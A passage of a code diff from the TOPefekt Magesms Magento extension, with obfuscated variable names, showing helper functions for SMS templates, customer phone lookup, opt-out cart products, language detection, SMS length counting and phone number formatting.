$ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b[$ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05->getName()] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05->getTemplate() ? Mage::helper('magesms')->__($ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05->getTemplate()) : $ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05->getTemplate(); } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7 = ''; foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039=>$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7)) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7 .= ', '; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7 .= $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039.': "'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89.'"'; } return $ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7; } } public function filterDates($if66f788c75229f5f3ea1a622ab4dee258553c789, $ic78bc645a0f45c428f6551163ed2dce47dd289ee) { if (empty($ic78bc645a0f45c428f6551163ed2dce47dd289ee)) { return $if66f788c75229f5f3ea1a622ab4dee258553c789; } $i25d716f44b9a21507a214e968cc96805785eff97 = new Zend_Filter_LocalizedToNormalized(array( 'date_format' => Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_SHORT) )); $id1da71c6f00d9b85058894facc6aae99ed82822c = new Zend_Filter_NormalizedToLocalized(array( 'date_format' => Varien_Date::DATE_INTERNAL_FORMAT )); foreach ($ic78bc645a0f45c428f6551163ed2dce47dd289ee as $i36424a86007474ffc648c582cbfca240cda58c1e) { if (array_key_exists($i36424a86007474ffc648c582cbfca240cda58c1e, $if66f788c75229f5f3ea1a622ab4dee258553c789) && !empty($i36424a86007474ffc648c582cbfca240cda58c1e)) { $if66f788c75229f5f3ea1a622ab4dee258553c789[$i36424a86007474ffc648c582cbfca240cda58c1e] = $i25d716f44b9a21507a214e968cc96805785eff97->filter($if66f788c75229f5f3ea1a622ab4dee258553c789[$i36424a86007474ffc648c582cbfca240cda58c1e]); $if66f788c75229f5f3ea1a622ab4dee258553c789[$i36424a86007474ffc648c582cbfca240cda58c1e] = $id1da71c6f00d9b85058894facc6aae99ed82822c->filter($if66f788c75229f5f3ea1a622ab4dee258553c789[$i36424a86007474ffc648c582cbfca240cda58c1e]); } } return $if66f788c75229f5f3ea1a622ab4dee258553c789; } public function getCustomerCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getResourceModel('customer/customer_collection') ->addNameToSelect() ->joinAttribute('billing_telephone', 'customer_address/telephone', 'default_billing', null, 'left') ->joinAttribute('shipping_telephone', 'customer_address/telephone', 'default_shipping', null, 'left') ->joinAttribute('billing_city', 'customer_address/city', 'default_billing', null, 'left') ->joinAttribute('billing_country_id', 'customer_address/country_id', 'default_billing', null, 'left') ->joinAttribute('shipping_country_id', 'customer_address/country_id', 'default_shipping', null, 'left') ->addFieldToFilter(array( array( 'attribute' => 'billing_telephone', array(array('notnull' => true), array('neq' => '')) ), array( 'attribute' => 'shipping_telephone', array(array('notnull' => true), array('neq' => '')) ) )); if (version_compare(Mage::getVersion(), '1.6', '>=')) { $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`at_shipping_telephone`.`value`, `at_shipping_telephone`.`value`, `at_billing_telephone`.`value`) AS telephone'); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`at_shipping_country_id`.`value`, `at_shipping_country_id`.`value`, `at_billing_country_id`.`value`) AS country_id'); } else { $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`_table_shipping_telephone`.`value`, `_table_shipping_telephone`.`value`, `_table_billing_telephone`.`value`) AS telephone'); $iff7e46827cbb6547116c592bf800f4687428abf9->getSelect() ->columns('IF(`_table_shipping_country_id`.`value`, `_table_shipping_country_id`.`value`, `_table_billing_country_id`.`value`) AS country_id'); } return $iff7e46827cbb6547116c592bf800f4687428abf9; } public function addOptoutProduct($i7fff76b02be2f63877a1782ca871e62a287fa16f = false) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b = $this->getOptoutProduct(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b) { if ($i7fff76b02be2f63877a1782ca871e62a287fa16f) { $i32bd8782f9db301dda31691016fa281ffd5c7c36 = Mage::getResourceModel('catalog/product')->getAttributeRawValue($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getId(), 'magesms_optout', Mage::app()->getStore()->getId()); if (!$i32bd8782f9db301dda31691016fa281ffd5c7c36) return $this; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->setStoreId(Mage::app()->getStore()->getId()); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->load($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getId()); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getStatus() == Mage_Catalog_Model_Product_Status::STATUS_ENABLED) { $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495 = Mage::getSingleton('checkout/cart'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d12f98417e3df53ca8bc49671d89c1a89cdceeb8b = $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->getItems(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddd690844e5b6fae774e02ace13c0608c4bd6bfbc = false; foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749d12f98417e3df53ca8bc49671d89c1a89cdceeb8b as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8) { if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8->getSku() == Mage::getConfig()->getNode('default/config/optout')->sku) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddd690844e5b6fae774e02ace13c0608c4bd6bfbc = true; break; } } if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddd690844e5b6fae774e02ace13c0608c4bd6bfbc === false) { $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->init(); $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->addProduct($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b, array('qty' => 1)); $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->save(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('checkout/session'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657->setCartWasUpdated(true); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d8091f3f14f616f7c7725a766ecf5f3d4a561a828 = Mage::helper('checkout')->__('%s was added to your shopping cart.', Mage::helper('core')->escapeHtml($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getName())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657->addSuccess($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8091f3f14f616f7c7725a766ecf5f3d4a561a828); } } } return $this; } public function removeOptoutProduct($i7fff76b02be2f63877a1782ca871e62a287fa16f = false) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b = $this->getOptoutProduct(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b) { $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495 = Mage::getSingleton('checkout/cart'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8 = $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->getQuote()->getItemByProduct($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8 && !$i7fff76b02be2f63877a1782ca871e62a287fa16f || $ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8 && $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->getItemsCount() == 2) { $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->removeItem($ibcdf76f8c9ddc330c79f805116a8bb146c43749d705fa7c9639d497e1179d7d5691c212668a8c9c8->getId()); $i45b08fe558d3b8e0743a1b58de231fa7ffc6c495->save(); } } } public function getOptoutProduct() { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc010a5d08128ec6abcd0a1a16cb1d8abe7bf2142 = Mage::getConfig()->getNode('default/config/optout')->sku; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b = Mage::getModel('catalog/product')->loadByAttribute('sku', $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc010a5d08128ec6abcd0a1a16cb1d8abe7bf2142); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b->getStatus() == Mage_Catalog_Model_Product_Status::STATUS_ENABLED) return $ibcdf76f8c9ddc330c79f805116a8bb146c43749d69a1201e93806d55c970dfb18feec53d221ba37b; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Helper_Data extends Mage_Adminhtml_Helper_Data { const MAGESMS_ENABLE = 'magesms/magesms/enable'; private $v148194b5b9cc653ce2e35e9709e441dc6fd4123a = array(); public function isActive($ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null) { return Mage::getStoreConfig(self::MAGESMS_ENABLE, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } public function prepareFilterString($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2tring) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array(); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2tring = base64_decode($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2tring); parse_str($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2tring, $ia61712c27ea241bd7a543dc2b02ea572274d0322); array_walk_recursive($ia61712c27ea241bd7a543dc2b02ea572274d0322, array($this, 'decodeFilter')); return $ia61712c27ea241bd7a543dc2b02ea572274d0322; } public function decodeFilter(&$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89 = rawurldecode($ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89); } public function strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7c53db4e1e286ce8a65b930c9d93cdabb069954b) { return strlen(utf8_decode($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7c53db4e1e286ce8a65b930c9d93cdabb069954b)); } public function substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7c53db4e1e286ce8a65b930c9d93cdabb069954b, $ibcdf76f8c9ddc330c79f805116a8bb146c43749dee10b1113e98c522f9d7b19b278ac191206cf98d, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424 = -1) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d353d238323208401995f652ac6757c9d9fd6d8d5 = preg_split('//u', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7c53db4e1e286ce8a65b930c9d93cdabb069954b, -1); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd3f9e660973a05c72dd2df52c035747f20824128 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424 == -1 ? count($ibcdf76f8c9ddc330c79f805116a8bb146c43749d353d238323208401995f652ac6757c9d9fd6d8d5) : $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d43e9cdc24374813037dc691df23094b5f8072dac = ''; for($ibcdf76f8c9ddc330c79f805116a8bb146c43749d=$ibcdf76f8c9ddc330c79f805116a8bb146c43749dee10b1113e98c522f9d7b19b278ac191206cf98d; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d<$ibcdf76f8c9ddc330c79f805116a8bb146c43749dd3f9e660973a05c72dd2df52c035747f20824128; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d43e9cdc24374813037dc691df23094b5f8072dac .= $ibcdf76f8c9ddc330c79f805116a8bb146c43749d353d238323208401995f652ac6757c9d9fd6d8d5[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]; return $ibcdf76f8c9ddc330c79f805116a8bb146c43749d43e9cdc24374813037dc691df23094b5f8072dac; } public function strpos($icf8e6d55f3b73687e31b5bfb7df726c05be874e6, $ibcdf76f8c9ddc330c79f805116a8bb146c43749dfba351358ab7c7f378315c6b3cb913d7f4d7b0fa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d37e0852c5c95f9440a8999674f38c2ab1fbd56e2 = 0) { return mb_strpos($icf8e6d55f3b73687e31b5bfb7df726c05be874e6, $ibcdf76f8c9ddc330c79f805116a8bb146c43749dfba351358ab7c7f378315c6b3cb913d7f4d7b0fa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d37e0852c5c95f9440a8999674f38c2ab1fbd56e2, 'UTF-8'); } public function detectLang($ibcdf76f8c9ddc330c79f805116a8bb146c43749dccb00baf62ef7b52dab4785b2fe3e5d6471b5d03 = false) { if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90 = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1])) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749db473854f4b306e706e896b68ceb14665e7bc5475 = explode(';', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1]); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749db473854f4b306e706e896b68ceb14665e7bc5475[0])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749db473854f4b306e706e896b68ceb14665e7bc5475[0]; } $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/country_lang')->getCollection(); $iff7e46827cbb6547116c592bf800f4687428abf9->addFilter('lang', strtolower($ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[0])); foreach ($iff7e46827cbb6547116c592bf800f4687428abf9 as $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3) { return $ibcdf76f8c9ddc330c79f805116a8bb146c43749dccb00baf62ef7b52dab4785b2fe3e5d6471b5d03 ? $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3->getData('iso2') : $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3->getData('country_name'); } if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1])) { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/country_lang')->getCollection(); $iff7e46827cbb6547116c592bf800f4687428abf9->addFilter('lang', strtolower($ibcdf76f8c9ddc330c79f805116a8bb146c43749d593f9fb6306ab4cdb862f1ef6769504d63647c90[1])); foreach ($iff7e46827cbb6547116c592bf800f4687428abf9 as $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3) { return $ibcdf76f8c9ddc330c79f805116a8bb146c43749dccb00baf62ef7b52dab4785b2fe3e5d6471b5d03 ? $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3->getData('iso2') : $i4cf0596ef3a67e5add95b49723a3c49aecd1dbd3->getData('country_name'); } } Mage::log('Dont detect lang: '.$_SERVER['HTTP_ACCEPT_LANGUAGE']); } return 'en'; } public function getMutations() { $ibcdf76f8c9ddc330c79f805116a8bb146c43749de54fcd5470bd7f31f709089290e33bb03e655c25 = array(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dce21cd4390308309015957a221ff2bff67f397ce = Mage::app()->getLocale()->getOptionLocales(); foreach (Mage::app()->getStores() as $i3763a59a4c1873eeb396b46caa87140ccb7bc631) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749da35eb6e21739b9f362d4085ebe7dee274bc421a7 = Mage::getStoreConfig('general/locale/code', $i3763a59a4c1873eeb396b46caa87140ccb7bc631->getId()); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749de54fcd5470bd7f31f709089290e33bb03e655c25[$ibcdf76f8c9ddc330c79f805116a8bb146c43749da35eb6e21739b9f362d4085ebe7dee274bc421a7])) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749de54fcd5470bd7f31f709089290e33bb03e655c25[$ibcdf76f8c9ddc330c79f805116a8bb146c43749da35eb6e21739b9f362d4085ebe7dee274bc421a7]['stores'] = array_merge($ibcdf76f8c9ddc330c79f805116a8bb146c43749de54fcd5470bd7f31f709089290e33bb03e655c25[$ibcdf76f8c9ddc330c79f805116a8bb146c43749da35eb6e21739b9f362d4085ebe7dee274bc421a7]['stores'], array( Mage::getStoreConfig('general/store_information/name', $i3763a59a4c1873eeb396b46caa87140ccb7bc631->getStoreId()). ' ('.$i3763a59a4c1873eeb396b46caa87140ccb7bc631['name'].')' )); continue; } foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dce21cd4390308309015957a221ff2bff67f397ce as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4e4643965424fd5279d5992f6c669c0a56d9a1a3) { if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d4e4643965424fd5279d5992f6c669c0a56d9a1a3['value'] == $ibcdf76f8c9ddc330c79f805116a8bb146c43749da35eb6e21739b9f362d4085ebe7dee274bc421a7) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749de54fcd5470bd7f31f709089290e33bb03e655c25[$ibcdf76f8c9ddc330c79f805116a8bb146c43749da35eb6e21739b9f362d4085ebe7dee274bc421a7] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4e4643965424fd5279d5992f6c669c0a56d9a1a3; $ibcdf76f8c9ddc330c79f805116a8bb146c43749de54fcd5470bd7f31f709089290e33bb03e655c25[$ibcdf76f8c9ddc330c79f805116a8bb146c43749da35eb6e21739b9f362d4085ebe7dee274bc421a7]['stores'] = array( Mage::getStoreConfig('general/store_information/name', $i3763a59a4c1873eeb396b46caa87140ccb7bc631->getStoreId()). ' ('.$i3763a59a4c1873eeb396b46caa87140ccb7bc631['name'].')' ); $ibcdf76f8c9ddc330c79f805116a8bb146c43749de54fcd5470bd7f31f709089290e33bb03e655c25[$ibcdf76f8c9ddc330c79f805116a8bb146c43749da35eb6e21739b9f362d4085ebe7dee274bc421a7]['selected'] = 0; break; } } } return $ibcdf76f8c9ddc330c79f805116a8bb146c43749de54fcd5470bd7f31f709089290e33bb03e655c25; } public function formatPrice($ibcdf76f8c9ddc330c79f805116a8bb146c43749d58457975a91d59a84d2920953badcb7365ac1f01, $i2457499363c0873527a65aa9ad19ce774bd79cbc = 4) { return number_format((float)$ibcdf76f8c9ddc330c79f805116a8bb146c43749d58457975a91d59a84d2920953badcb7365ac1f01, $i2457499363c0873527a65aa9ad19ce774bd79cbc, ",", " "); } public function moreText($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d41874a76da96da0584b16b9f04de6e3f06863c83) { if($this->strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) > $ibcdf76f8c9ddc330c79f805116a8bb146c43749d41874a76da96da0584b16b9f04de6e3f06863c83): $ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae = $this->strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, ' ', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4616676bff4c07942c8542e6b4e0ccf29d473424, 'UTF-8'); if($ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae > $ibcdf76f8c9ddc330c79f805116a8bb146c43749d41874a76da96da0584b16b9f04de6e3f06863c83 || $ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae == 0) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d41874a76da96da0584b16b9f04de6e3f06863c83; return "<span style=\"cursor:help;text-decoration:underline;\" title=\"".$ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa."\">".$this->substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, 0, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d838a72d011cf88c91dfc0040ea07c7fa8e44c6ae)."...</span>"; else: return $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa; endif; } public function isPhoneNumber($ibcdf76f8c9ddc330c79f805116a8bb146c43749d9e76a736cd2ce866634b875b0e477fe802efd466) { return preg_match('/^[0-9]{7,18}$/', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d9e76a736cd2ce866634b875b0e477fe802efd466); } public function isTextSender($ibcdf76f8c9ddc330c79f805116a8bb146c43749d1e0ab2cc14bf21436fd5165a18812bf40da12d82) { return preg_match('/(?!^\d+$)^[0-9a-zA-Z_.]{3,11}$/', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d1e0ab2cc14bf21436fd5165a18812bf40da12d82); } public function countSms($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749de8d90f6313614fbb6564426c0b0cb59a0ca4cecd) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = str_replace("\r\n","\n", $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749de8d90f6313614fbb6564426c0b0cb59a0ca4cecd) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 = $this->strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 < 71) $if295547318143e26fc7026b92d58e3d1eec229db = 1; elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 % 67 == 0) $if295547318143e26fc7026b92d58e3d1eec229db= floor($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956/67); else $if295547318143e26fc7026b92d58e3d1eec229db = floor($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956/67) + 1; } else { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 = $this->strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 < 161) $if295547318143e26fc7026b92d58e3d1eec229db = 1; elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956 % 153 == 0) $if295547318143e26fc7026b92d58e3d1eec229db = floor($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956/153); else $if295547318143e26fc7026b92d58e3d1eec229db = floor($ibcdf76f8c9ddc330c79f805116a8bb146c43749d8cf55ea687bc1e974c51c5dbd65047184db69956/153) + 1; } return $if295547318143e26fc7026b92d58e3d1eec229db; } public function prepareNumber($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a, $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbad5149cd536c7e1f814c7b3874463985a5fc9e0 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290 = 0; $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = ''; $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = str_replace(array(' ', '-', '(', ')', '/'), '', $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2); if (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, '+') === 0 ) $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 1); if (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, '00') === 0 ) $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 2); elseif (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, '0') === 0 ) $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 1); $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = Mage::getSingleton('magesms/exceptions')->number($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd); $ibcdf76f8c9ddc330c79f805116a8bb146c43749db8c2593511e733deb36fb6bc932a747fcf3b754c = strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2); if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['maps'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 = 